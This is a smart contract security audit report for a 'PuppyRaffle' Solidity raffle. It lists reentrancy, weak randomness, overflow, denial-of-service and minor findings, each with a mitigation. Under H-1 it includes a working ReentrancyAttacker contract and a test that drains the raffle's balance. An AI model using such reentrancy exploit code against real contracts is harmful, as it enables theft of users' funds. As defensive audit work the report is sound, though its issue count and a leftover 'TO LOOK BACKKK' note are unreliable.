Puppy Raffle Audit Report

Version 1.0

PandaBear30

January 15, 2025

Puppy Raffle

PandaBear30

January 14, 2025

Prepared by: PandaBear30

Table of Contents

Protocol Summary

A protocol for a raffle that allows for people to enter, and win money and puppy NFTs.

Disclaimer

The PandaBear30 team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

A protocol for a raffle that allows for people to enter, and win money and puppy NFTs. Users should be able to safely enter the raffle. The raffle should end at after a certain amount of time and a random winner selected. 80% of the money of the raffle is sent to a winner as well as an NFT, and 20% to the owner of the raffle.

The findings of this audit is based on the following commit hash:

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

Scope

```
./src/PuppyRaffle.sol
```

Roles

- Owner: The person who created the raffle and who will receive the fees.
- Players: The people who enter the raffle as players

Executive Summary

We spent 5 hours auditing this protocol.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Gas Optimizations	2
Info	4
Total	12

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
1 function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
```

```
4       require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
5
6   @>  payable(msg.sender).sendValue(entranceFee);
7   @>  players[playerIndex] = address(0);
8
9       emit RaffleRefunded(playerAddress);
10  }
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle.
2. Attacker sets up a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle.
4. Attacker calls `PuppyRaffle:refund` fromm their attack contract, draining the contract.

Proof of Code

Code

Place the following the following into `PuppyRaffle.t.sol`:

```
1
2   function test_reentrancyRefund() public {
3           address[] memory players = new address[](4);
4           players[0] = playerOne;
5           players[1] = playerTwo;
6           players[2] = playerThree;
7           players[3] = playerFour;
8           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
9
10          ReentrancyAttacker attacker = new ReentrancyAttacker(
                puppyRaffle);
11          address attackUser = makeAddr("attackUser");
12          vm.deal(attackUser, 1 ether);
13
14          uint256 startingAttackContractBalance = address(attacker).
                balance;
15          uint256 startingPuppyRaffleBalance = address(puppyRaffle).
                balance;
16
17          //attack
18          vm.prank(attackUser);
19          attacker.attack{value: entranceFee}();
20
21          console.log("Starting Attacker Balance: ",
                startingAttackContractBalance);
22          console.log("Starting Puppy Raffle Balance: ",
                startingPuppyRaffleBalance);
```

```
23
24          console.log("Ending Attacker Balance: ", address(attacker).
                balance);
25          console.log("Ending Puppy Raffle Balance: ", address(
                puppyRaffle).balance);
26
27      }
```

As well as the following contract:

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle){
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
               ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24
25     }
26
27     fallback() external payable {
28         _stealMoney();
29
30     }
31
32     receive() external payable {
33         _stealMoney();
34     }
35 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
    +   players[playerIndex] = address(0);
    +   emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFees);
    -   players[playerIndex] = address(0);
    -   emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allowing users to influence or predict the winner

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` can predict a number, thus, not making the selection truly random. A malicious user can manipulate these values beforehand and select themselves as the winner.

Impact: Any user can influence the winner of the raffle, and even select the `rarest` puppy.

Proof of Concept: . Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. 2. User can manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Recommended Mitigation: Use a cryptographically provable random number such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle:totalFees` causes loss of fees

Description: Solidity versions prior to to `0.8.0` integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max
    // 18446744073709551615
    myVar = myVar + 1
    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Recommended Mitigation: The best solution would be to use a use a solidity version of atleast `0.8.0`, and use `uint256` for `PuppyRaffle::totalFees`.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` attay to check for duplicates. However, the longer the `players` array is, the more checks needs to be done. This will significantly increase the gas costs for the players who join later.

Impact: The impact is two-fold.

1. The gas costs for raffle entrants will greatly increase as more players enter the raffle.
2. Front-running opportunities are created for malicious users to increase the gas costs of other users, so their transaction fails.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252039 - 2nd 100 players: 18067741

This is more than 3x as expensive for the second set of 100 players!

This is due to the for loop in the `PuppyRaffle::enterRaffle` function.

```
1          // Check for duplicates
2  @>      for (uint256 i = 0; i < players.length - 1; i++) {
3              for (uint256 j = i + 1; j < players.length; j++) {
4                  require(players[i] != players[j], "PuppyRaffle:
                       Duplicate player");
5              }
6          }
```

Proof Of Code

Place the following test into `PuppyRaffleTest.t.sol`.

```
1  function testReadDuplicateGasCosts() public {
2          vm.txGasPrice(1);
3
4          // We will enter 5 players into the raffle
5          uint256 playersNum = 100;
6          address[] memory players = new address[](playersNum);
7          for (uint256 i = 0; i < playersNum; i++) {
8              players[i] = address(i);
```

```
        }
        // And see how much gas it cost to enter
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 1st 100 players:", gasUsedFirst);

        // We will enter 5 more players into the raffle
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i + playersNum);
        }
        // And see how much more expensive it is
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        gasEnd = gasleft();
        uint256 gasUsedSecond = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas cost of the 2nd 100 players:", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
        // Logs:
        //     Gas cost of the 1st 100 players: 6252039
        //     Gas cost of the 2nd 100 players: 18067741
}
```

Recommended Mitigation: There are a few recommendations:

1. Consider allowing duplicates. Users can make new wallet addresses, and does not prevent a person entering again.
2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a `uint256` id, and the mapping would be a player address mapped to the raffle Id.

TO LOOK BACKKK

```
+    mapping(address => uint256) public addressToRaffleId;
+    uint256 public raffleId = 0;
     .
     .
     .
     function enterRaffle(address[] memory newPlayers) public payable {
         require(msg.value == entranceFee * newPlayers.length, "
             PuppyRaffle: Must send enough to enter raffle");
         for (uint256 i = 0; i < newPlayers.length; i++) {
             players.push(newPlayers[i]);
+            addressToRaffleId[newPlayers[i]] = raffleId;
         }
```

```
12
13 -         // Check for duplicates
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +            require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize.

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0, causing player at index to think they incorrectly entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return 0 if the player is not in the array.

```
```js
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
    return 0;
}
```
```

Impact: A player at index 0 might think they have not entered the raffle successfully.

Proof of Concept:

1. User enters the raffle, they are the first entrant, thus, get added to index 0
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly.

Recommended Mitigation: Easiest would be to revert with an error if the player is not in the raffle.

Gas

[G-1] Unchanged state variables should be constant or immutable

Reading from storage is much more expensive that reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime `players.length` is called, it is being read from storage which is not gas efficient, compared to reading from memory.

```
1
2 +         uint256 playersLength = players.length;
3 -         for (uint256 i = 0; i < players.length; i++) {
4 +         for (uint256 i = 0; i < playersLength; i++) {
5 -             for (uint256 j = i + 1; j < players.length; j++) {
6 +             for (uint256 j = i + 1; j < playersLength; j++) {
7                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
8               }
9           }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of solidity rather than a wide one. For example, use `pragma solidity 0.8.0` instead of `pragma solidity ^0.8.0`

[I-2] Using an oudated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with a recent version of Solidity (at least 0.8.0) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing. Please see slither for more information.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 171

```
1           feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI for best practice.

It's best to keep the code clean and follow CEI (Checks, Effects, Interaction). This can also prevent reentrancy in other functionalities.

```
1  -    (bool success,) = winner.call{value: prizePool}("");
2  -    require(success, "PuppyRaffle: Failed to send prize pool to winner"
       );
3           _safeMint(winner, tokenId);
4  +    (bool success,) = winner.call{value: prizePool}("");
5  +    require(success, "PuppyRaffle: Failed to send prize pool to winner"
       );
```

[I-5] Use of "magic" numbers are not recommended.

It is better to give a name and declare them at the beginning of the contract rather than using magic numbers.

[I-6] State changes is missing events.

It is recommended to emit events each time states are changed.